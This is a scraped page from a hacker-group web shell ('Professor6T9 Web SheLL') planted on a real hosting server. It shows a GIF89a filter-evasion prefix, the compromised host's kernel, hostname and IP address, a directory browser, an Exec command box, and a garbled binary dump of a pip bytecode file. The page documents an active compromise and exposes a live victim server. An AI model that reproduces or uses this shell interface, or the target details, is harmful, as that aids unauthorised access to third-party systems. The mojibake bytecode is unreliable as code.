GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
alt
/
python35
/
lib
/
python3.5
/
site-packages
/
pip
/
_internal
/
operations
/
build
/
__pycache__
[ HOME ]
Exec
Submit
metadata_legacy.cpython-35.pyc
��Re� � @ s� d Z d d l Z d d l Z d d l m Z d d l m Z d d l m Z d d l m Z d d l m Z e r� d d l m Z e j e � Z d d � Z d d � Z d S) z;Metadata generation logic for legacy source distributions. � N)�InstallationError)�make_setuptools_egg_info_args)�call_subprocess)� TempDirectory)�MYPY_CHECK_RUNNING)�BuildEnvironmentc C su d d � t j | � D� } | s7 t d j | � � � t | � d k r^ t d j | � � � t j j | | d � S)z3Find an .egg-info subdirectory in `directory`. c S s% g | ] } | j d � r | � q S)z .egg-info)�endswith)�.0�f� r ��/builddir/build/BUILDROOT/alt-python35-pip-20.2.4-5.el8.x86_64/opt/alt/python35/lib/python3.5/site-packages/pip/_internal/operations/build/metadata_legacy.py� <listcomp> s z"_find_egg_info.<locals>.<listcomp>z"No .egg-info directory found in {}� z-More than one .egg-info directory found in {}r )�os�listdirr �format�len�path�join)� directory� filenamesr r r �_find_egg_info s r c C sq t j d | | � t d d d d � j } t | d | d | �} | � t | d | d d �Wd QRXt | � S)znGenerate metadata using setup.py-based defacto mechanisms. Returns the generated metadata directory. z2Running setup.py (path:%s) egg_info for package %s�kindzpip-egg-info�globally_managedT�egg_info_dir�no_user_config�cwd�command_desczpython setup.py egg_infoN)�logger�debugr r r r r )� build_env� setup_py_path� source_dir�isolated�detailsr �argsr r r �generate_metadata* s r&